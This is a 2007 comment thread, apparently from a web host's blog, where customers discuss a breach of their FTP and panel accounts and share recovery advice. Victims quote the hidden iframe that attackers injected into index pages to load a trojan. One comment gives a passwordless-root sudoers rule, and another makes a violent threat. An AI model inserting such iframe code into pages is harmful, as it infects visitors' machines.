On the other hand, with this and earlier security problems people act so indignant and surprised. Had you never noticed that all of your user accounts were in plain text in the web panel? Why is it a problem all of a sudden? Didn’t you think that’s what you were paying for? At this price level you have two choices - Dreamhost’s model, or a completely locked down system where you don’t control anything and if something goes wrong you’ll never even know what happened.
June 7th, 2007 at 10:35 am
Looks like they already fixed that whole visible passwords thing.
June 7th, 2007 at 11:16 am
Still not fixed. Still automatically getting hacked. EVEN AFTER CHANGING EVER PASSWORD, INCLUDING WEB PANEL!
I’m deleting the affected users after moving clean site folder backups over to newly created ones. Hopefully that will work.
June 7th, 2007 at 12:17 pm
I also received an e-mail, claiming one FTP account was compromised. How come only one, and not all FTP accounts, and even all e-mail accounts, if they had access through the panel?
I’ve not *received* any other e-mails, but then, maybe they got lost or some spam filter caught those.. Hmm..
June 7th, 2007 at 12:31 pm
Finally my sites are back UP…. Im very frustated with the breach
June 7th, 2007 at 1:03 pm
Just for fun try this:
Login to the shell and type: last | grep your-user-id
See any strange IP addresses logging into your account? In my case they go all the way back to June 1. Worse yet, I’m seeing strange IP’s logging in to FTP under my ID AFTER I changed my FTP password.
In my case I was unable to connect by SFTP after changing my password. I made the mistake of using regular FTP to test the new password. My guess is that someone or something sniffed my new password when I made that FTP connection.
Changed my password again and will NEVER use regular FTP on DreamHost (or any other service) again. I advise everyone else do the same.
I agree with others here who’ve suggested that standard FTP should be disabled - ASAP!
June 7th, 2007 at 1:06 pm
Also, as I read this post, it appears that the Web Panel security issue is unrelated to yesterday’s FTP security issue. I think we’re talking about two separate attacks. Can anyone confirm or clarify?
June 7th, 2007 at 1:28 pm
Hey asdf,
I’m trying that in the shell and nothing happens. Which shell are you using?
June 7th, 2007 at 1:30 pm
“Looks like they already fixed that whole visible passwords thing.”
Not everywhere, it looks like MySQL user passwords are still visible in the panel, at least.
June 7th, 2007 at 1:53 pm
POC:
I’m using the standard shell. ‘last’ is a standard unix command that shows your last logins. the pipe ‘|’ sends the output to the next command ‘grep’ which will search for whatever you type in for the user name. So if your username were poc you would type:
last | grep poc
if there were no logins recorded under that id then nothing will be returned and you’ll see the command prompt again.
June 7th, 2007 at 1:58 pm
Looks like automated backups aren’t something that dedicated server customers get.
Hooray for Dreamhost!
June 7th, 2007 at 2:05 pm
anyone getting a completely blank site(s) at the mo when trying to view via a browser?
June 7th, 2007 at 2:05 pm
I have to credit DH for being honest enough to post this information, for not only their customers but the whole world to see. Most shared hosting companies try to keep this sort of information hidden, even from their paying customers.
Personally, I’m just happy that I am informed and warned that I should make changes to my system passwords.
June 7th, 2007 at 2:08 pm
Blog entry soon? Right? Something?
And yes, while we’re on the subject of security, can we all finally crawl into the 21st century and get rid of FTP?
June 7th, 2007 at 2:11 pm
Will be cancelling out my hosting with dreamhost today
I guess you get what you pay for…
June 7th, 2007 at 2:13 pm
Have any of you recieved a support ticket with a tinyurl link in it?
http://tinyurl.com/XXXXXXX
June 7th, 2007 at 2:14 pm
By the way the XXX are random ones I put it it leads to some bicycle website
June 7th, 2007 at 2:15 pm
Anyone else have their index files replaced by a page full of ads?
Fortunately I had a back-up of two of my sites, but not the third one.
June 7th, 2007 at 2:16 pm
Is this in any way connected to all seven of my domains going down?
June 7th, 2007 at 2:19 pm
God, take a look at the load (I’m on paramount):
$uptime
14:17:15 up 34 days, 5:26, 4 users, load average: 281.19, 201.28, 112.87
June 7th, 2007 at 2:24 pm
Okay guys… that was really, really, really, really bad!
Thank god I had recent backups but it still wiped out work we’d done since then.
Will there be, or is there, a statement explaining the steps being taken to prevent this kind of thing in future?
June 7th, 2007 at 2:27 pm
News flash. I haven’t found a host yet that doesn’t send your passwords via email, whether it’s asigned to you by your host or chosen yourself. Call it confirmation something didn’t screw up during creation. Of course, they also assume you’ll be changing that password at least once during your time here.
June 7th, 2007 at 2:42 pm
Amber you have a backup
search the dreamhost wiki http://wiki.dreamhost.com http://wiki.dreamhost.com/Automated_domain_snapshots
June 7th, 2007 at 2:44 pm
As much as this sucks for all those people whose accounts were affected, I’m not sure if it is something to be mad about. I think everyone in the world of IT gets to face this problem at a certain point. And I wouldn’t even know why they would want to hack into my account anyway. There is absolutely nothing of real value to be found. Except credit card numbers, which DH claims are not obtained.
It just sucks.
June 7th, 2007 at 3:03 pm
These comments have me SERIOUSLY concerned:
Bertie says : Every page of every site I have with Dreamhost contains 100s of links to porn sites hidden at the bottom of the code. Deleting the spam links and uploading the page again does nothing. It’s added automatically. This is extremely serious!
Tim says : CHECK YOUR CREDIT CARD RECORDS! I just got nailed with some suspicious overseas charges from the same business CC# I use to pay dreamhost- had to cancel the card and get reimbursed by the bank. I don’t know if these are related, but it sure seems suspicious as hell. Anybody else seeing fradulent charges?
AG says : You might also want to think about the personal and tax information in there if you’re using the rewards program.
Larry says : Still not fixed. Still automatically getting hacked. EVEN AFTER CHANGING EVER PASSWORD, INCLUDING WEB PANEL!
ASDF says : See any strange IP addresses logging into your account? In my case they go all the way back to June 1. Worse yet, I’m seeing strange IP’s logging in to FTP under my ID AFTER I changed my FTP password.
—–
I had over 60 logins in just one day alone. I changed my passwords as soon as I got the email - I’m amazed there are others here who amended their hacked files but didn’t bother to change their passwords.. although it seems that makes no difference. This is unreal - social security numbers, credit card numbers, completely open? ..what the fecking hell DH? - unbelievable!
Message to the ASSHAT(S) responsible for this hack: watch your fucking back - you are DEAD men walking.
June 7th, 2007 at 3:06 pm
If DH had balls, they’d offer a bounty for proof positive leading to the demise / conviction of those responsible.
June 7th, 2007 at 3:07 pm
Is this all done and finished now?
I presume this explains why my traffic was halfed yesterday, and for some of today, although my sites haven’t been hacked.
And I have a couple of questions. If people are saying “ban FTP” and “get into the 21st century”, how am I supposed to upload files to my website?
June 7th, 2007 at 3:09 pm
Is it even safe to go into web-panel to change the passwords?
June 7th, 2007 at 3:10 pm
At Steev: I did see somewhere in this comment thread, from possibly another dedicated server customer, they were stored in /mnt. Now, granted I don’t have a dedicated server, but I bet it wouldn’t take you long to find them. The absolute worst case if you have root access, do “updatedb” then “locate .snapshot”.
June 7th, 2007 at 3:12 pm
At Asdf: No, the issues are definitely related. The panel was compromised, giving the attacker access to the FTP passwords. Which is why it’s recommended, if not strongly encouraged, that you change your panel password too.
June 7th, 2007 at 3:17 pm
How do you check all previous failed login attempts as a dreamhost user?
June 7th, 2007 at 3:27 pm
The only real way to clean a hacked server is to do a clean install. You might never know if the attackers left some files somewhere which opens them a backdoor. And then the files might also be dropped between users files which would make it even worse.
June 7th, 2007 at 3:28 pm
Where do you type in .snapshot to get the back up?? I am completely lost as to what they mean in the instructions.
June 7th, 2007 at 3:29 pm
It doesn’t look like the people who gained access to accounts via the control panel gained root-access, so hopefully they won’t have left any garbage behind.
June 7th, 2007 at 3:30 pm
@Barb: You need to go through the commandline (over SSH) to go into your backups.
June 7th, 2007 at 3:31 pm
Thanks Henrik.
No idea how to do that. I will have to bug DH.
June 7th, 2007 at 3:32 pm
Henrik: Well yes, but they could have left some files somewhere in the user accounts. Which would basicly mean that the affected users would have to start from scratch or re-upload an offline backup from their computer.
June 7th, 2007 at 3:32 pm
NP
The DH wiki has some info on SSH and how to use it; http://wiki.dreamhost.com/SSH
June 7th, 2007 at 3:33 pm
Can someone recommend decent (non-FTP) SSH clients to try - I guess my old WS-FTP and basic FTP clients are useless now. Anything that uses say a Putty backend but with a nice user interface and not commandline only?
sftpplus [dot] com looks ok..?
June 7th, 2007 at 3:33 pm
I have a dedicated server with sudo access and many user accounts. This seems to have worked for me to stop the automated attacks ($ indicates prompt, NOTE: I make no guarantees concerning this procedure, and if the Web Panel is completely compromised, this is all in vain):
1) Set all accounts to SFTP or shell users, as needed. Convert any regular FTP users to SFTP.
2) $ sudo top
3) Use top and sort by command (type F then choose X) to get the PID for ‘proftpd’ (DreamHost’s FTP server on port 21) then kill it. This is temporary as it may get started again by an automated DreamHost maintenance script and definitely at reboot; I didn’t want to mess with deeper, boot-time server settings at this time. proftpd has been the avenue of all attacks I have seen on my machine. SFTP uses port 22 (SSH) so you can still login and mess with files.
2) Start to kill any user account that has been compromised by creating a new one with at least SFTP, and copying over website files, etc. Resetting passwords DOES NOT seem to stop the attacks. Immediately log into Web Panel and change the password for new users. This does not send an email containing a password, like when the account is first set up. I recommend this method of setting passwords for users at DreamHost.
3) $ sudo cp -Rp olduser/* newuser/;chown -R newuser:usergroup newuser/directories_copied
4) Deal with any email addresses configured to compromised account.
5) Reconfigure domains on Web Panel for web site domain directories copied to new user’s directory. You may have to edit any script configurations that point to an absolute path, and swap the old users name with the new one. Joomla and other script systems like it WILL need reconfigured.
6) Delete compromised users, whose data you have moved to new users.
7) Rename old users directories to something else, just in case you didn’t copy everything right, this will be a backup.
## Optional: Install a temporary monitoring script of your own. ###
9) Add the following to the script, edited to meet your needs (my ’spam’ directories are probably not the same as yours, etc.):
#!/bin/bash
## Script lists recent login activity and any files changed in user accounts within last 24 hours
echo
echo “#################### Recent Logins and Associated IPs ####################”
echo
last -ad
echo
echo
echo “#################### Files Modified within Last 24 Hours ####################”
echo
find /home/ -type f \! \( -path ‘*cache/*’ -or -path ‘*logs/*’ -or -path ‘*Maildir/*’ -or -path ‘/home/m*’ -or -path ‘*spamassassin/*’ -or -path ‘*bayes_recent-spam/*’ \) -mtime -1 -exec ls -alht {} \;
echo
echo
10) Manually run scrutinizer.sh with the find date set to past 4 or more days (e.g. ‘-mtime -4′). This should find any hacked pages, or at least clue you in where to start looking. You may find ftpd logins that are not from your IP addresses - those user account have probably been compromised, and should be moved to new ones in my opinion.
11) To automate this script, it needs to run as root to find stuff in all user’s directories, and you need to edit the sudoers file with the vi editor, allowing you to run the script as root using cron without needing to type in your password. NOTE: DreamHost admins may not like you doing all this, and setting a script to auto-run as root without a password, but hey, my server’s been hacked and they may not have time to get to everyone’s just yet!
12) $sudo visudo
13) Add the following (replacing sudousername with your user name):
sudousername ALL=NOPASSWD:/home/sudousername/scrutinizer.sh
14) Set up crontab to run scrutinizer.sh (set to past 24 hrs.) at whenever interval you like and email you the results. I set mine to every 6 hours. NOTE: these emails may expose sensitive directory structure and user access info, but it pales in comparision to the current hack/attack we are dealing with.
Hope that helps someone else dealing with this isssue to keep their sites up and free of hacker garbage.
Please post and errors I’ve made, or something I’m missing. Thanks.
Larry
June 7th, 2007 at 3:34 pm
Thanks Henrik
June 7th, 2007 at 3:36 pm
@Angry Dog: You can use the free Filezilla FTP client to transfer files by ssh, just like the old non-ssh ftp client. ( http://filezilla.sf.net )
June 7th, 2007 at 3:39 pm
Thanks Zylox, either that or I’m looking at winscp.net client atm
June 7th, 2007 at 3:50 pm
http://www.sftpdrive.com is nice too. Not free though.
June 7th, 2007 at 4:02 pm
Is anyone having connection problems with their databases? None of my wordpress databases are connecting.
June 7th, 2007 at 4:08 pm
Yes! I’m experiencing some databases problems….
June 7th, 2007 at 4:11 pm
Alfons, yours worked for me. Still nothing on any of my databases. Error connecting. Sigh.
June 7th, 2007 at 4:12 pm
Yes! Definitely experiencing database connection problems across many sites. Again. Last time (three days ago), by the time support responded, the database was back up and they said they could see no problems.
June 7th, 2007 at 4:30 pm
database problems here
June 7th, 2007 at 4:33 pm
Great. Every one of my 8 domains is down, so haven’t read this long list of problems that’s happening (I was hacked too, about a week ago), and am unable to check whether my sites have been compromised again, as has been suggested is possible here, despite changing all passwords.
Just how bad have DH ballsed up here? Shocking
June 7th, 2007 at 4:41 pm
my database problem was because i changed the password, haha
i have a joomla powered web-site and it couldnt connect
so false alarm on my end
June 7th, 2007 at 4:45 pm
OK, it’s been a full 24 hours. What exactly did you mean by “soon” when you were talking about an official post at the blog?
June 7th, 2007 at 4:52 pm
I think they don’t have the situation under control yet, so they’re not posting.
June 7th, 2007 at 4:59 pm
Thanks DreamHost. I’m staying, but i’m disappointed. At least there should be partial refunds, or credit towards our next billing cycle, but this is rediculous. Thanks to this I lost 6 websites.
June 7th, 2007 at 5:07 pm
I’ve been down for over 3 hours now. My support request was answered quickly, and they said there were “DNS issues” going on.
June 7th, 2007 at 5:08 pm
how quickly are your support requests being answered?
June 7th, 2007 at 5:33 pm
well, the more people that leave, the better it will be for us other customers, so please, go on and find another host!
June 7th, 2007 at 5:59 pm
Everyone should check their Index files. Chances are it was blown away and replaced with a page of outgoing links. The script that modifies the index file tends to break PHP scripts. One quick solution is to replace your index file with a backup. Also, when all of my domains went down yesterday, I found that upgrading WordPress fixed the problem. The one-click install moves everything to a clean directory. Of course I did this after changing all of my passwords.
June 7th, 2007 at 7:01 pm
Wow.
June 7th, 2007 at 7:04 pm
ALL of my sites were destroyed. They turned into a redirect to something called m-gallery which McAffee reported as a Trojan Horse.
Now I have to spent tons and tons of time reuploading/checking… sigh.
June 7th, 2007 at 7:25 pm
Fuck you, Dreamhost. I’ve been suffering your incompetent bullshit since 1999, and I can’t wait to find a new host.
So… new hosts anyone? Tips? Suggestions?
June 7th, 2007 at 7:35 pm
Ok, please tell me if this is related to the security breach or not. I’m not a tech person at all, I know just the basics. Here we go:
I didn’t have any problems with these attacks (so far…), but as suggested, I switched the type of connection of Filezilla to SFTP, SSH2 (I think) anyway. Fine. I set the default starting folder to root, and it connects to /home/.allball . There’s my user folder, great. But… a lot of folders of other users (I suppose) appear in my folders list as well. I mean A LOT of folders. Some have their access denied to me, some don’t. Should they be open like that? I think I could easily go there and delete everything, even not being a hacker/cracker/whatever myself, causing at least a bit of trouble. I think if I could easily access these folders, anyone else can, accidentally. And they can do some damage. They can easily think “wow what’s with all these junk folders in my account” and delete everything.
June 7th, 2007 at 8:11 pm
They won’t haver permission too, I believe it is like this so you can access the usr, bin, tmp and other directories but you cannot access the other user directories.
Unless you create a group with and chgrp your user and the other user accounts together then you can access the folders with write/delete/modify permissions.
June 7th, 2007 at 8:12 pm
Ummm…yall do know that you will never stop the breaches right? What amazes me is that so may of you complain about your 200 websites that you have hosted at Dreamhost and that you have been a member since 1999… You obviously have had good experiences with this host if you moved 200 sites and have been a member for 8 years. Get yourself a tissue, keep backups of your sites and manage them correctly and this is not that big of a deal. Inconvenient? Pain in the ass? Yep, but geezus, stop your complaining and improve your management and you won’t have that many headaches.
Things were made to be broken, they are then built stronger…
June 7th, 2007 at 8:20 pm
Hi, I’m Sudno! I like to fart from my butt! Doody doody fart fart!
June 7th, 2007 at 8:21 pm
The hack makes the Register:
http://www.theregister.co.uk/2007/06/07/dreamhost_hack/
June 7th, 2007 at 8:36 pm
I suffered form 2 different changes.
1.- The spam links
2.- An IFRAME code that goes to a web page with trojans and viruses that made my friends reinstall Windows. You have a Black screen after you open the page with IE6 and thats it.
The code inserted in my index.html and index.php files was this one:
IFRAME src='http://0xcb.0xdf.0x9e.0x0c/t' width='6' height='6' style='visibility: hidden;' /IFRAMESo this action is not for PR, is just evil.
June 7th, 2007 at 8:43 pm
I suffered form 2 different changes.
1.- The spam links
2.- An IFRAME code that goes to a web page with trojans and viruses that made my friends reinstall Windows. You have a Black screen after you open the page with IE6 and thats it.
The code inserted in my index.html and index.php files was this one:
IFRAME src='http://0xcb.0xdf.0x9e.0x0c/t' width='6' height='6' style='visibility: hidden;' /IFRAMESo this action is not for PR, is just evil.
June 7th, 2007 at 9:06 pm
Yeah I had the IFRAME Trojan too. My sites weren’t changed until noon-ish today, but they were exposed until ten when I was first alerted by a client.
Apparently, Dreamhost had sent me an email on the 5th — BUT (and I’ve complained about this before) it went to an email address I don’t use anymore, and I STILL can’t figure out how to get my dreamhost emails to come to an account I actually use! Sigh.
June 7th, 2007 at 9:14 pm
@cartwright
In the Panel, click on the “Edit Profile” link in the upper right corner. You can change your contact email there.
June 7th, 2007 at 9:28 pm
and it only took you 8 years to decide? Either you’re the most patient person I’ve ever not quite met, or they really aren’t all that bad. Personally, option number 2’s looking real good.
June 7th, 2007 at 10:10 pm
James, you left out the option #3, which is that he’s just an idiot. I’m betting on #3.
He also won’t leave. The idiots that come here to say they’re leaving are just like the idiots that constantly threaten legal action… even though they only have $4 to their name and can’t afford a lawyer.
June 8th, 2007 at 1:56 am
Can we get some fucking backups prior to this MAJOR fuck up?
8hrs and no response.
June 8th, 2007 at 2:18 am
Although handy, I always found the fact that the DreamHost panel displayed a user’s password in plain text to be very insecure. I’ve seen that the default display of password is now removed (not for the MySQL users, though!), but I assume that they’re still saved in plain text, which they shouldn’t. All passwords, no matter how or where they’re used, should be one-way encrypted (hashed) so they can’t be typed out without knowing the original one.
Please stop storing passwords in plain text! I know that once an attacker has gotten access to the panel, you’re pretty much screwed, but if the passwords are at least stored in a hashed form, the attacker would have to set a new one to gain access to FTP and such, which buys some time and leaves more evidence at the crime scene. The MySQL passwords should also be hashed, or at least not shown in the panel like they are now. Fix this please!
June 8th, 2007 at 3:20 am
Do not use MSIE - that trojan hack exploits IE’s IFRAME vulnerability (one of a seemingly endless line of security issues with IE). FireFox is the go. If you haven’t got it already, get it: http://www.mozilla.com/en-US/firefox/
June 8th, 2007 at 3:28 am
BTW DH, we run windows through a firewalled network router, and each PC also has an individual firewall (not MS’s pathetic excuse for a firewall either), along with Symantec corporate AV and a number of other security utilities which run daily. This security issue was certainly not at user level at our end, as your recent update suggests may be a factor. Using SFTP also.
Is anything being done to track the perpetrators? A breach at this level should really involve the services of the FBI to prosecute.
June 8th, 2007 at 3:50 am
major fuck up: (noun) A person that doesn’t keep their own off-site backups for emergencies.
June 8th, 2007 at 3:54 am
My account was compromised. Thankfully only one user, and so I just lost a couple of index files. I’ve got about 30 unknown logins dating back to Sunday for the user that was hijacked, all using http://FTP. I always use SSH, and even HTTPS when accessing PHPMyAdmin. I’m no expert, but I’ve always felt uneasy about how you could just view passwords on the panel. My site’s forum originally was written to store passwords this way, but I modified it a long time ago to use MD5 hashes. DH really needs to fix this NOW. Here’s another idea too… add a feature that allows you to set specific IP addresses that have access to the panel under your username. I realize IP spoofing isn’t impossible, but if they don’t know which one to spoof, it’s another wall for them to hit. Most people are behind routers these days, which tend to make your outside IP stick around, being that they’re on all the time. If your IP does change, you could simply reset it via an email, much like resetting your password.
June 8th, 2007 at 4:06 am
many thanks to Joshua for some sensible advise — I also noticed that he didn’t panic with “OMG I just moved to DH and i’m fu***ed etc. etc.”
Maybe, just maybe, (and I’m going out on a limb here) there is this faint possibility that we notice more problems on DH *because* DH is open about issues and lets us know.
Don’t think that this is the only hosting service having problems.
June 8th, 2007 at 4:26 am
Do you know what makes me laugh? the people which are saying that most companies don’t post when things like this happen and that we are lucky to be informed at all. NEWS FLASH: MOST COMPANIES DON’T !#&* UP THIS BADLY!
June 8th, 2007 at 4:27 am
I cannot believe the response DH have made to our problems in particular - I’ve documented them for now on a holding page at http://angryamoeba.co.uk - unless DH remove it again, like they removed the last holding page I put up.
June 8th, 2007 at 4:29 am
Well changing passwords isn’t helping, I can see there have been FTP logins to two of the six accounts DH told me were compromised since I changed them. The attackers seem to have a higher level of access than just the login info, this is starting to look quite serious.
Honestly at this point I’m thinking that DH needs to kill FTP access, at least temporarily, on all servers until they can get to the bottom of what’s happening. All the unauthorized logins I see are through FTP, and others seem to be saying the same thing. FTP’s a serious liability for DH at the moment, and since you can’t disable FTP for SSH accounts it’s even worse. (One of the accounts I’m seeing invalid logins for never needs FTP access, never has, never will, we always use SSH/SCP with it. I would gladly kill FTP on that account if only I could.)
June 8th, 2007 at 4:47 am
Well, one of my user’s accounts was compromised. I had every file with the pattern *index.* compromised. The bastards put the iframe link to some index.php file in all of those files. The effect was to take down all of my sites (over 20). Very easy recovery luckily, and I’ve lost no data. I *think* that users would have just seen a blank page when visiting the affected sites. The iframe was like the other user posted, with the HTML tags removed:
iframe src=’(http) m-gallery (dot) org/images/111/index.php’ width=1 height=1 style=’visibility: hidden;’
This isn’t the trojan, correct?
The thing I don’t understand is how is this an FTP problem? Whoever did this must be able to run scripts on the server, right? You don’t replace a bunch of files with a certain naming convention using FTP, do you? Somebody please give some insight into how this might have been done. Thanks!
June 8th, 2007 at 4:53 am
I don’t get it. I was informed of the breach, I changed my password (nothing had yet been done to any of my pages), and I thought I was in the clear.
I check again this morning, and my pages have been defaced on two sites. So, my question is WTF?! Has the panel been compromised? Are they simply circumventing everything and ftp’ing at will? Does pw changing even matter? Apparently not! Are they somehow able to track our panel sessions?
You guys need to come up with some solutions fast.
June 8th, 2007 at 5:24 am
In the update, Dreamhost mentions that other webhosts have been compromised (FTP-related?), and I now wonder if Dreamhost and those other hosts involved were running the latest proftpd. I’m mentioning this because there was an 0-day exploit related to older versions of mentioned proftpd.
June 8th, 2007 at 5:49 am
I got the email today with the message:
“We’ve found some suspicious FTP logins under your XXXX user.”
Given I work from numerous different locations, it’d be very helpful to know *what* the suspicious activity and logins were.
June 8th, 2007 at 6:35 am
were these passwords encrypted or in plain text? i guess the latter (seeing as they show up in the panel).
normally dh is pretty open about their fuck ups (and there are a lot of them, even compared to similarly priced hosts) which is what kept me here. but this is the most serious of all, coupled with the least explanation of why it happened and what is being done to rectify it (hint: encrypt passwords)
well my account is due for renewal in a couple of weeks and guess what …
June 8th, 2007 at 6:51 am
Despite being affected by this compromise, I was able to hurredly replace modified pages within my 20+ domains, thanks very much to snapshots, of which I was previously unaware. This will certainly encourage me to move “Improve Backup Plan” from the bottom of my todo list to the top.
DH crew: What tools, utilities, or processes are you using to create and maintain .snapshots? This was a lifesaver for me, and I’m instantly a fan of the approach.